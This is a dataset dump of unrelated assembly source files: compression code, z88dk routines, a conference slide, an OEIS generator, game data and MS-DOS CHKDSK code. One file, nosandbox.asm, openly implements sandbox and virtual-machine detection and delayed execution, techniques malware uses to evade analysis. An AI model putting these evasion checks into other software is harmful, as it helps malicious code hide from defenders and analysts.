add [stream + _total_out], m_out_buf %+ d
mov [stream + _internal_state_bitbuf_m_bits], m_bits
mov [stream + _internal_state_bitbuf_m_bit_count], m_bit_count %+ d
add rsp, stack_size
POP_ALL
ret
section .data
align 4
c258: dq 258
| 27.796875
| 72
| 0.674761
|
2142909af7f2023a089aaf059fbe3db93d80279b
| 1,850
|
asm
|
Assembly
|
SLIDE_Step.asm
|
XlogicX/CactusCon2017
|
d4cc716169dc8c6c2956c57079eb64342d5432bf
|
[
"BSD-2-Clause"
] | 2
|
2018-12-23T17:19:34.000Z
|
2019-08-23T16:15:57.000Z
|
SLIDE_Step.asm
|
XlogicX/CactusCon2017
|
d4cc716169dc8c6c2956c57079eb64342d5432bf
|
[
"BSD-2-Clause"
] | null | null | null |
SLIDE_Step.asm
|
XlogicX/CactusCon2017
|
d4cc716169dc8c6c2956c57079eb64342d5432bf
|
[
"BSD-2-Clause"
] | null | null | null |
%include 'textmode.h'
call draw_border
mov di, 160 * 2 + 8 ;where to place cursor
mov si, line01 ;fetch the text
mov ah, 0x0A ;color
call slide_line
mov di, 160 * 4 + 8 ;where to place cursor
mov si, line02 ;fetch the text
call slide_line
mov di, 160 * 6 + 8 ;where to place cursor
mov si, line03 ;fetch the text
call slide_line
mov di, 160 * 8 + 16 ;where to place cursor
mov si, line04 ;fetch the text
call slide_line
mov di, 160 * 10 + 16 ;where to place cursor
mov si, line05 ;fetch the text
call slide_line
mov di, 160 * 12 + 16 ;where to place cursor
mov si, line06 ;fetch the text
call slide_line
mov di, 160 * 12 + 60 ;where to place cursor
mov si, line0C ;fetch the text
call slide_line
mov di, 160 * 14 + 16 ;where to place cursor
mov si, line07 ;fetch the text
call slide_line
mov di, 160 * 2 + 38 ;where to place cursor
mov si, line08 ;fetch the text
mov ah, 0x07
call slide_line
mov di, 160 * 4 + 40 ;where to place cursor
mov si, line09 ;fetch the text
call slide_line
mov di, 160 * 12 + 38 ;where to place cursor
mov si, line0A ;fetch the text
mov ah, 0x0C
call slide_line
mov di, 160 * 14 + 30 ;where to place cursor
mov si, line0B ;fetch the text
call slide_line
jmp endloop
endloop:
jmp endloop
%include 'slide_frame.h'
%include 'pause.h'
line01 db 0x0E, 0x07, ' Single Step:'
line02 db 0x0F, 0x07, ' Step n times:'
line03 db 0x16, 0x07, ' "Step Over" INT 0x10'
line04 db 0x1E, 0x07, ' Note address of the INT 0x10'
line05 db 0x16, 0x07, ' Add 2 to this number'
line06 db 0x0A, 0x07, ' Set your'
line0C db 0x0F, 'to that address'
line07 db 0x06, 0x07, ' Then'
line08 db 0x04, 'step'
line09 db 0x06, 'step 7'
line0A db 0x0A, 'breakpoint'
line0B db 0x08, 'continue'
titlemessage db 0x0F, 'Stepping in GDB'
;BIOS sig and padding
times 510-($-$$) db 0
dw 0xAA55
| 22.839506
| 53
| 0.692432
|
4ac8beeede359972a05fab4eea02049eacb95463
| 1,846
|
asm
|
Assembly
|
libsrc/target/vz/vz_soundcopy_callee.asm
|
Frodevan/z88dk
|
f27af9fe840ff995c63c80a73673ba7ee33fffac
|
[
"ClArtistic"
] | 38
|
2021-06-18T12:56:15.000Z
|
2022-03-12T20:38:40.000Z
|
libsrc/target/vz/vz_soundcopy_callee.asm
|
Frodevan/z88dk
|
f27af9fe840ff995c63c80a73673ba7ee33fffac
|
[
"ClArtistic"
] | 2
|
2021-06-20T16:28:12.000Z
|
2021-11-17T21:33:56.000Z
|
libsrc/target/vz/vz_soundcopy_callee.asm
|
Frodevan/z88dk
|
f27af9fe840ff995c63c80a73673ba7ee33fffac
|
[
"ClArtistic"
] | 6
|
2021-06-18T18:18:36.000Z
|
2021-12-22T08:01:32.000Z
|
;*****************************************************
;
; Video Technology library for small C compiler
;
; Juergen Buchmueller
;
;*****************************************************
; ----- void __CALLEE__ vz_soundcopy_callee(char *dst, char *src, int size, int sound1, int sound2);
SECTION code_clib
PUBLIC vz_soundcopy_callee
PUBLIC _vz_soundcopy_callee
PUBLIC ASMDISP_VZ_SOUNDCOPY_CALLEE
EXTERN __stdlib_seed
.vz_soundcopy_callee
._vz_soundcopy_callee
pop af
pop bc
pop de
ld b,e
exx
pop bc
pop hl
pop de
push af
exx
; bc' = int size
; hl' = char *src
; de' = char *dst
; c = sound 2
; b = sound 1
.asmentry
ld e,c
ld d,b
ld hl,(__stdlib_seed)
ld a,b
or c ; both off?
exx
ld a,($783b) ; get latch data
jp nz, soundcopy1 ; sound is on
ldir
ret
.soundcopy1
exx
inc d ; tone ?
dec d
jr z, soundcopy2 ; nope, skip
dec d ; counted down?
jr nz, soundcopy2 ; nope
ld d,b ; reset counter
xor $21 ; toggle output
ld ($6800),a
.soundcopy2
inc e ; noise ?
dec e
jr z, soundcopy3 ; nope, skip
dec e ; counted down?
jr nz, soundcopy3 ; nope
ld e,c ; reset counter
add hl,hl ; rotate 16 random bits
jr nc, soundcopy3 ; not set
inc l ; set bit 0 agaon
xor $21 ; toggle output
ld ($6800),a
.soundcopy3
exx
ldi ; transfer 4 bytes
ldi
ldi
ldi
jp pe, soundcopy1 ; until done
ld ($783b),a
ret
DEFC ASMDISP_VZ_SOUNDCOPY_CALLEE = asmentry - vz_soundcopy_callee
| 19.638298
| 100
| 0.487541
|
e95922bc1aabbebf90266e1cab8e2431f1dc7bb3
| 128
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/___fslt_callee.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/___fslt_callee.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/___fslt_callee.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
SECTION code_fp_math48
PUBLIC ___fslt_callee
EXTERN cm48_sdcciyp_dslt_callee
defc ___fslt_callee = cm48_sdcciyp_dslt_callee
| 14.222222
| 46
| 0.882813
|
a6bc1db32723b553efa9d46971c19d90df0c9096
| 51
|
asm
|
Assembly
|
test/skip_add.asm
|
killvxk/AssemblyLine
|
2a20ec925532875c2f3bb5d423eb38a00bc5c91d
|
[
"Apache-2.0"
] | 147
|
2021-09-01T03:52:49.000Z
|
2022-03-30T16:59:58.000Z
|
test/skip_add.asm
|
killvxk/AssemblyLine
|
2a20ec925532875c2f3bb5d423eb38a00bc5c91d
|
[
"Apache-2.0"
] | 9
|
2021-09-15T18:04:36.000Z
|
2021-09-28T01:22:15.000Z
|
test/skip_add.asm
|
killvxk/AssemblyLine
|
2a20ec925532875c2f3bb5d423eb38a00bc5c91d
|
[
"Apache-2.0"
] | 19
|
2021-09-09T10:54:44.000Z
|
2022-03-18T19:56:45.000Z
|
mov rcx, 0x123
jmp 0x4
add rcx, 1
mov rax, rcx
ret
| 8.5
| 14
| 0.705882
|
0e858b5deb060c65f03e0531770974bb95387cc1
| 5,769
|
asm
|
Assembly
|
nosandbox.asm
|
Th4nat0s/No_Sandboxes
|
3a0719c69b966b4b6a0e6f545e71230c969e26c8
|
[
"Unlicense"
] | 35
|
2015-01-02T12:38:55.000Z
|
2022-02-17T06:38:45.000Z
|
nosandbox.asm
|
Th4nat0s/No_Sandboxes
|
3a0719c69b966b4b6a0e6f545e71230c969e26c8
|
[
"Unlicense"
] | null | null | null |
nosandbox.asm
|
Th4nat0s/No_Sandboxes
|
3a0719c69b966b4b6a0e6f545e71230c969e26c8
|
[
"Unlicense"
] | 13
|
2015-04-21T11:02:47.000Z
|
2017-12-09T18:45:54.000Z
|
; Should go to the end without RETing to win !
; ********************************************
; **
; ** Virtualisation Based
; **
; ********************************************
; Only allow Intel CPUS
%ifdef NOSB_INTELONLY
mov eax,0
cpuid
cmp edx,0x49656E69
je _isintel
ret
_isintel:
%endif
%ifdef NOSB_NOL1ICACHE
; Validate that you have L1 Cache.
mov edx,0
_isnot_nol1_first:
mov eax,4
mov ecx,edx
push edx
cpuid
pop edx
inc edx
mov ecx,eax ; Ecx will get Level
shr ecx,5
and ecx,7 ; Ecx get Level
and eax,0x1f ; Eax get type
cmp eax,2
jne _isnot_nol1_next ; Type 2 is Instruction
cmp ecx,1 ; we seek L1
je _isnot_nol1 ; Type2 L1 .. great !
_isnot_nol1_next:
inc ecx
loop _isnot_nol1_first ; if Type is not null do next cache
ret ; If here wi did'nt found L1 intruction cache.
_isnot_nol1:
%endif
%ifdef NOSB_HYPERBIT
; --------
; Test for Hypervised bit. ( Cpuid Leaf 1, 32th Bit)
mov eax,1
cpuid
bt ecx,31
jnc _isnot_hyper
ret
_isnot_hyper:
%endif
%ifdef NOSB_UNSLEAF
; --------
; Test for unsupported CPUid Leaf are not 0 on intel
mov eax,0x80000000
cpuid ; Should be at least ..5 since P4
cmp eax,0x80000005
jnb _isnot_Unleaf_mid
ret
_isnot_Unleaf_mid:
inc eax ; Unsuported leaf in EAX
push eax
xor eax,eax
cpuid
cmp ebx,0x756E6547 ; Test Intel String
pop eax
jne _isnot_Unleaf ; Work only with Intel
cpuid
add eax,ebx
add eax,ecx
add eax,edx
jnz _isnot_Unleaf
ret ; 0.0.0.0 on unsupported leaf
_isnot_Unleaf:
%endif
%ifdef NOSB_PEBCOUNT
; --------
; Test for PEB Cpu Count
mov ebx,[PEB]
mov eax,[ebx+0x64]
dec eax
jnz _isnot_pebuniq
ret
_isnot_pebuniq:
%endif
%ifdef NOSB_HYPSTR
; --------
; Test for Hypervisor String (Cpuid Leaf 0x400000000)
MOV EAX,0x40000000 ; leaf Hypervisor string
CPUID
MOV EAX,ECX
MOV ECX,0x4
_hyperstr_loopA: ; Test 4 Chars in ECX
CMP AL,32 ; Space
JB _isnot_hyperstr
CMP AL,122 ; "z"
JA _isnot_hyperstr
SHR EAX,8 ; Next Char
LOOP _hyperstr_loopA
mov ecx,4
MOV EAX,EBX
POP EAX
_hyperstr_loopB: ; Test 4 Chars in EAX
CMP AL,32
JB _isnot_hyperstr
CMP AL,122
JA _isnot_hyperstr
SHR EAX,8 ; Next Char
LOOP _hyperstr_loopB
ret ; Non printable Found
_isnot_hyperstr:
%endif
; ********************************************
; **
; ** Sandbox Detection Based
; **
; ********************************************
%ifdef NOSB_HOOKPROC
invokel _getdll,HASH_KERNEL32.DLL
invokel _getfunction, eax, HASH_WRITEPROCESSMEMORY
cmp dword [eax],0x8B55FF8B
je _nosbhookproc
ret
_nosbhookproc:
%endif
%ifdef NOSB_SYSSLEEP
jmp _syssleepstart
align 8
syssleepval dd - 10 * (10000 * 1000); en Sec
_syssleepstart:
push syssleepval ; Time to sleep
push 0 ; False, relative time selection
push _syssleepend ; Return address
push _syssleepend ; Return address emulate return to ntdelayexecution
mov eax,0x003b ; Only for XP32 Bits...
mov edx,esp ; See for code http://j00ru.vexillium.org/ntapi/
sysenter ; Hello Kernel
_syssleepend:
add esp, 4*3
%endif
%ifdef NOSB_HSLEEP
jmp _hsleepstart
align 8
hsleepval dd -1800000000
_hsleepstart
invokel _getdll,HASH_KERNEL32.DLL
invokel _getfunction, eax, HASH_NTDELAYEXECUTION
invokel eax, 0, hsleepval ; Negatif
%endif
%ifdef NOSB_CPUIDCOUNT
mov ecx,0xffff
push eax
_CPUID_LOOP:
push ecx
mov eax,1
cpuid
pop ecx
loop _CPUID_LOOP
rdtsc
pop ecx
sub eax,ecx
add eax,0x300000
push eax
mov ecx,0xffff
push eax
_CPUID_LOOP2:
push ecx
mov eax,1
nop
pop ecx
loop _CPUID_LOOP2
rdtsc
pop ecx
sub eax,ecx
pop ebx
cmp eax,ebx
ja _isnot_cpuidcount
ret
_isnot_cpuidcount:
%endif
%ifdef NOSB_RENAMED
invokel _getdll, HASH_NOSB_RENAMED.EXE ; Bloque les renommages
test eax,eax
jne _renamed_nosandbox
ret
_renamed_nosandbox:
%endif
%ifdef NOSB_ROGUEDLL
invokel _getdll, HASH_WS2_32.DLL
test eax,eax
jz _dll_nosandbox
ret
_dll_nosandbox:
%endif
; 3 Mn wait, with only 2 API Call.
%ifdef NOSB_RDTSCLOOP
jmp _rdtsc_start
_rdtscsleeploop:
rdtsc
mov ecx,eax
_timing1:
push ecx
cpuid ; Just a fake "Huge one"
rdtsc
pop ecx
cmp eax,ecx
jae _timing1
_timing2:
push ecx
cpuid
rdtsc
pop ecx
cmp eax,ecx
jb _timing2
ret
_rdtsc_start:
invokel _getdll,HASH_KERNEL32.DLL
invokel _getfunction, eax, HASH_GETTICKCOUNT
call eax
push eax
call _rdtscsleeploop
invokel _getdll,HASH_KERNEL32.DLL
invokel _getfunction, eax, HASH_GETTICKCOUNT
call eax
pop ebx
sub eax,ebx ; How many time a loop did...
mov ecx,eax
mov edx,0
mov eax,180000 ; 3 Mn en millisecondes
idiv ecx ; How many loop should i do
mov ecx,eax
dec ecx ; one loop is already done
_rdtscwait:
push ecx
call _rdtscsleeploop
pop ecx
loop _rdtscwait
%endif
| 20.242105
| 72
| 0.573756
|
c1ff393b00449b725d5ab6b13f3277ff4c7e6349
| 5,103
|
asm
|
Assembly
|
src/lib/old/cs50_printf.asm
|
Prashant446/GFCC
|
6feb2e95d2a8e2f2499b2cb4a66921e4b769c822
|
[
"MIT"
] | 1
|
2021-06-11T03:51:00.000Z
|
2021-06-11T03:51:00.000Z
|
src/lib/old/cs50_printf.asm
|
Debarsho/GFCC
|
0b51d14d8010bc06952984f3554a56d60d3886cb
|
[
"MIT"
] | null | null | null |
src/lib/old/cs50_printf.asm
|
Debarsho/GFCC
|
0b51d14d8010bc06952984f3554a56d60d3886cb
|
[
"MIT"
] | 1
|
2021-06-11T03:50:07.000Z
|
2021-06-11T03:50:07.000Z
|
## Daniel J. Ellard -- 03/13/94
## g5_printf.asm -- an implementation of a simple g5_printf work-alike.
## g5_printf-- A simple g5_printf-like function. Understands just the basic
## forms of the %s, %d, %c, and %% formats, and can only have 3 embedded
## formats (so that all of the parameters are passed in registers).
## If there are more than 3 embedded formats, all but the first 3 are
## completely ignored (not even printed).
##
## Register Usage:
## $a0, $s0 - pointer to format string
## $a1, $s1 - format argument 1 (optional)
## $a2, $s2 - format argument 2 (optional)
## $a3, $s3 - format argument 3 (optional)
## $s4 - count of formats processed.
## $s5 - char at $s4.
## $s6 - pointer to g5_printf buffer
##
.text
.globl g5_g5_printf
g5_g5_printf:
subu $sp, $sp, 36 # set up the stack frame,
sw $ra, 32($sp) # saving the local environment.
sw $fp, 28($sp)
sw $s0, 24($sp)
sw $s1, 20($sp)
sw $s2, 16($sp)
sw $s3, 12($sp)
sw $s4, 8($sp)
sw $s5, 4($sp)
sw $s6, 0($sp)
addu $fp, $sp, 36
# grab the arguments:
move $s0, $a0 # fmt string
move $s1, $a1 # arg1 (optional)
move $s2, $a2 # arg2 (optional)
move $s3, $a3 # arg3 (optional)
li $s4, 0 # set # of formats = 0
la $s6, g5_printf_buf # set s6 = base of g5_printf buffer.
g5_printf_loop: # process each character in the fmt:
lb $s5, 0($s0) # get the next character, and then
addu $s0, $s0, 1 # bump up $s0 to the next character.
beq $s5, '%', g5_printf_fmt # if the fmt character, then do fmt.
beq $0, $s5, g5_printf_end # if zero, then go to end.
g5_printf_putc:
sb $s5, 0($s6) # otherwise, just put this char
sb $0, 1($s6) # into the g5_printf buffer,
move $a0, $s6 # and then print it with the
li $v0, 4 # print_str syscall
syscall
b g5_printf_loop # loop on.
g5_printf_fmt:
lb $s5, 0($s0) # see what the fmt character is,
addu $s0, $s0, 1 # and bump up the pointer.
beq $s4, 3, g5_printf_loop # if we’ve already processed 3 args,
# then *ignore* this fmt.
beq $s5, 'd', g5_printf_int # print as a decimal integer.
beq $s5, 's', g5_printf_str # print as a string.
beq $s5, 'c', g5_printf_char # print as an ASCII char.
beq $s5, '%', g5_printf_perc # print a '%'.
b g5_printf_loop # otherwise, just continue
g5_printf_shift_args: # shift over the fmt args.
move $s1, $s2 # $s1 = $s2
move $s2, $s3 # $s2 = $s3
add $s4, $s4, 1 # increment # of args processed.
b g5_printf_loop # and continue the main loop.
g5_printf_int: # deal with a %d:
move $a0, $s1 # do a print_int syscall of $s1.
li $v0, 1
syscall
b g5_printf_shift_args # branch to g5_printf_shift_args
g5_printf_str: # deal with a %s:
move $a0, $s1 # do a print_string syscall of $s1.
li $v0, 4
syscall
b g5_printf_shift_args # branch to g5_printf_shift_args
g5_printf_char: # deal with a %c:
sb $s1, 0($s6) # fill the buffer in with byte $s1,
sb $0, 1($s6) # and then a null.
move $a0, $s6 # and then do a print_str syscall
li $v0, 4 # on the buffer.
syscall
b g5_printf_shift_args # branch to g5_printf_shift_args
g5_printf_perc: # deal with a %%:
li $s5, '%' # (this is redundant)
sb $s5, 0($s6) # fill the buffer in with byte %,
sb $0, 1($s6) # and then a null.
move $a0, $s6 # and then do a print_str syscall
li $v0, 4 # on the buffer.
syscall
b g5_printf_loop # branch to g5_printf_loop (WHY?? -- ISHANH MISRA)
## SIMILARLY TRY FOR FLOAT (%f), DOUBLE (%lf), BACKSLASH (\\), INVERTED COMMAS (\', \"), etc.
g5_printf_end:
lw $ra, 32($sp) # restore the prior environment:
lw $fp, 28($sp)
lw $s0, 24($sp)
lw $s1, 20($sp)
lw $s2, 16($sp)
lw $s3, 12($sp)
lw $s4, 8($sp)
lw $s5, 4($sp)
lw $s6, 0($sp)
addu $sp, $sp, 36 # release the stack frame.
jr $ra # return
.data
g5_printf_buf: .space 2
## end of g5_printf.asm
| 39.55814
| 93
| 0.479914
|
18244cba757db7a8ae98817bc2610e21d992ee4b
| 676
|
asm
|
Assembly
|
oeis/014/A014283.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/014/A014283.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/014/A014283.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A014283: a(n) = Fibonacci(n) - n^2.
; Submitted by Jamie Morken(s1)
; 0,0,-3,-7,-13,-20,-28,-36,-43,-47,-45,-32,0,64,181,385,731,1308,2260,3820,6365,10505,17227,28128,45792,74400,120717,195689,317027,513388,831140,1345308,2177285,3523489,5701731,9226240,14929056,24156448,39086725,63244465,102332555,165578460,267912532,433492588,701406797,1134901145,1836309787,2971212864,4807524672,7778739648,12586266525,20365008473,32951277395,53316288364,86267568356,139583859420,225851430581,365435292913,591286726515,956722022560,1548008752320,2504730778240,4052739534037
mov $2,$0
seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
pow $2,2
sub $0,$2
| 75.111111
| 493
| 0.772189
|
a65c4899f84ea8971328d1fa9995adf2addee49c
| 437
|
asm
|
Assembly
|
oeis/132/A132673.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/132/A132673.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/132/A132673.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A132673: a(1)=1, a(n) = 9*a(n-1) if the minimal positive integer number not yet in the sequence is greater than a(n-1), else a(n) = a(n-1) - 1.
; Submitted by Simon Strandgaard
; 1,9,8,7,6,5,4,3,2,18,17,16,15,14,13,12,11,10,90,89,88,87,86,85,84,83,82,81,80,79,78,77,76,75,74,73,72,71,70,69
lpb $0
sub $0,$3
sub $0,1
add $2,1
sub $3,7
sub $4,$3
mov $3,$4
mov $4,$2
mul $4,8
add $2,$3
lpe
sub $2,$0
mov $0,$2
add $0,1
| 23
| 145
| 0.592677
|
46be1987967a345aefd2c9453292c73b93de64ec
| 181
|
asm
|
Assembly
|
programs/oeis/068/A068952.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/068/A068952.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/068/A068952.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A068952: Squares in A068949.
; 1,4,9,16,36,49,64,81,100,121,144,196
mul $0,2
seq $0,225875 ; We write the 1 + 4*k numbers once and twice the others.
add $1,$0
pow $1,2
mov $0,$1
| 20.111111
| 71
| 0.657459
|
9186c891fe9a8489d35f71cecb26618217c1b97e
| 364
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/temp/sp1/zx/c/sdcc_ix/sp1_IterateUpdateSpr_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/temp/sp1/zx/c/sdcc_ix/sp1_IterateUpdateSpr_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/temp/sp1/zx/c/sdcc_ix/sp1_IterateUpdateSpr_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; void sp1_IterateUpdateSpr(struct sp1_ss *s, void *hook2)
SECTION code_clib
SECTION code_temp_sp1
PUBLIC _sp1_IterateUpdateSpr, l0_sp1_IterateUpdateSpr
EXTERN asm_sp1_IterateUpdateSpr
_sp1_IterateUpdateSpr:
pop af
pop hl
pop bc
push af
l0_sp1_IterateUpdateSpr:
push bc
ex (sp),ix
call asm_sp1_IterateUpdateSpr
pop ix
ret
| 14
| 58
| 0.755495
|
1e962f3b29548c0548294fd0505c3f88adca203e
| 170
|
asm
|
Assembly
|
data/pokemon/dex_entries/jynx.asm
|
AtmaBuster/pokeplat-gen2
|
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
|
[
"blessing"
] | 6
|
2021-06-19T06:41:19.000Z
|
2022-02-15T17:12:33.000Z
|
data/pokemon/dex_entries/jynx.asm
|
AtmaBuster/pokeplat-gen2-old
|
01e42c55db5408d72d89133dc84a46c699d849ad
|
[
"blessing"
] | null | null | null |
data/pokemon/dex_entries/jynx.asm
|
AtmaBuster/pokeplat-gen2-old
|
01e42c55db5408d72d89133dc84a46c699d849ad
|
[
"blessing"
] | 3
|
2021-01-15T18:45:40.000Z
|
2021-10-16T03:35:27.000Z
|
db "HUMANSHAPE@" ; species name
db "It has several"
next "different cry pat-"
next "terns, each of"
page "which seems to"
next "have its own"
next "meaning.@"
| 17
| 32
| 0.658824
|
7556613440f93ff46e669f051ada17693d6f83f7
| 343
|
asm
|
Assembly
|
util/cv/uchar.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
util/cv/uchar.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
util/cv/uchar.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
; Unique Character Table V2.00 1989 Tony Tebby QJUMP
section cv
xdef cv_uchar
;+++
; Table of unique (upper-case) characters.
; Digits, uppercase letters (A-Z), odd characters on any normal keyboard.
; Ends with a space.
;---
cv_uchar
dc.w '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ#$*@ '
end
| 24.5
| 74
| 0.626822
|
bf539e08f72be9274d1d684121d0e40ff925e7a5
| 267
|
asm
|
Assembly
|
engine/battle/move_effects/endure.asm
|
AtmaBuster/pokeplat-gen2
|
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
|
[
"blessing"
] | 6
|
2021-06-19T06:41:19.000Z
|
2022-02-15T17:12:33.000Z
|
engine/battle/move_effects/endure.asm
|
AtmaBuster/pokeplat-gen2-old
|
01e42c55db5408d72d89133dc84a46c699d849ad
|
[
"blessing"
] | null | null | null |
engine/battle/move_effects/endure.asm
|
AtmaBuster/pokeplat-gen2-old
|
01e42c55db5408d72d89133dc84a46c699d849ad
|
[
"blessing"
] | 3
|
2021-01-15T18:45:40.000Z
|
2021-10-16T03:35:27.000Z
|
BattleCommand_endure:
; endure
; Endure shares code with Protect. See protect.asm.
call ProtectChance
ret c
ld a, BATTLE_VARS_SUBSTATUS1
call GetBattleVarAddr
set SUBSTATUS_ENDURE, [hl]
call AnimateCurrentMove
ld hl, BracedItselfText
jp StdBattleTextbox
| 15.705882
| 51
| 0.797753
|
9c0d7355709af5ae65155318e3d7c17caf736f1c
| 4,375
|
asm
|
Assembly
|
cmd/chkdsk/spawn.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
cmd/chkdsk/spawn.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
cmd/chkdsk/spawn.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
TITLE SPAWN - procedures to spawn another program before exiting
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1993
; * All Rights Reserved.
; */
page ,132
.xlist
include chkseg.inc
include chkmacro.inc
INCLUDE SYSCALL.INC
INCLUDE PATHMAC.INC
.list
;**************************************************************************
; Structures
;**************************************************************************
Exec_Block_Parms struc
Segment_Env dw 0
Offset_Command dw 0
Segment_Command dw 0
Offset_FCB1 dw 0
Segment_FCB1 dw 0
Offset_FCB2 dw 0
Segment_FCB2 dw 0
Exec_Block_Parms ends
PSP_OFFSET_FCB1 EQU 05Ch
PSP_OFFSET_FCB2 EQU 06Ch
EXEC_STACK_SIZE EQU 1024
;**************************************************************************
;**************************************************************************
data segment
ASSUME cs:DG,ds:DG,es:nothing,ss:nothing
extrn fatmap:word
extrn fattbl_seg:word
pathlabl spawn
;**************************************************************************
; Data Area
;**************************************************************************
lclExitStatus db ? ;hold exit status to pass to MS-DOS
Exec_Block Exec_Block_Parms <> ;EXEC parameter block
public EXEC_Path, EXEC_CmdTail
EXEC_Path db 80 dup (0) ;EXEC pathname
EXEC_CmdTail db 20 dup (0) ;EXEC command tail
;=========================================================================
; SpawnAndExit - This routine spawns another program before exiting
; CHKDSK. When the child process terminates, this
; routines terminates CHKDSK.
;
; This file is linked first in the CHKDSK image so
; this this code and data leave a very small stub
; when Exec'ing the child process.
;
;
; Inputs : AL - Exit code to use when terminating CHKDSK
; ES - CHKDSK PSP segment
; EXEC_Path - contains full pathname of pgm to spawn.
; EXEC_CmdTail - contains cmd tail to pass to child.
;
; Outputs : Exits to MS-DOS
;=========================================================================
assume CS:DG,DS:DG,ES:NOTHING
; ShrinkExecExit is actually a part of SpawnAndExit, but located
; before SpawnAndExit so some of the code can be discarded
ShrinkExecExit proc near
; Switch to local EXEC stack
mov ax, ds
cli
mov ss, ax
mov sp, cx
sti
DOS_Call Setblock ;shrink memory image, bx has size
; Spawn the child process
mov ax, ds
mov es, ax
mov bx, offset DG:Exec_Block ;es:bx -> parameter block
mov dx, offset DG:Exec_Path ;ds:dx -> program specification
xor al, al ;exec pgm subfunction
DOS_Call Exec
; The child has completed, now terminate CHKDSK. If lclExitStatus
; is not 0 return that, otherwise get and return the child's exit
; status.
mov al, lclExitStatus
jc see_exit ;Use this status if Exec failed
or al, al
jnz see_exit ;Status != 0, return it
DOS_Call WaitProcess ;Our status is 0, get child's status
see_exit:
DOS_Call Exit
ShrinkExecExit endp
End_Exec label near ;End of code/data kept for Exec'ing
; child process
public SpawnAndExit
assume cs:DG,DS:DG,ES:NOTHING
SpawnAndExit proc near
mov lclExitStatus, al ;save exit status locally
; Free other CHKDSK memory blocks to make more mem available to child
push es ;save PSP segment
mov es, fattbl_seg ;these appear to be the only
Dos_Call Dealloc ; other two blocks allocated
mov es, fatmap
Dos_Call Dealloc
pop es
; Build the EXEC call parameter block
xor ax, ax
mov Exec_Block.Segment_Env, ax
mov Exec_Block.Offset_Command, offset DG:EXEC_CmdTail
mov Exec_Block.Segment_Command, ds
mov Exec_Block.Offset_FCB1, PSP_OFFSET_FCB1
mov Exec_Block.Segment_FCB1, es
mov Exec_Block.Offset_FCB2, PSP_OFFSET_FCB2
mov Exec_Block.Segment_FCB2, es
; Setup to shrink CHKDSK memory size to make room for child process
mov ax, es ;ax = PSP segment
mov bx, cs ;bx = data/code segment
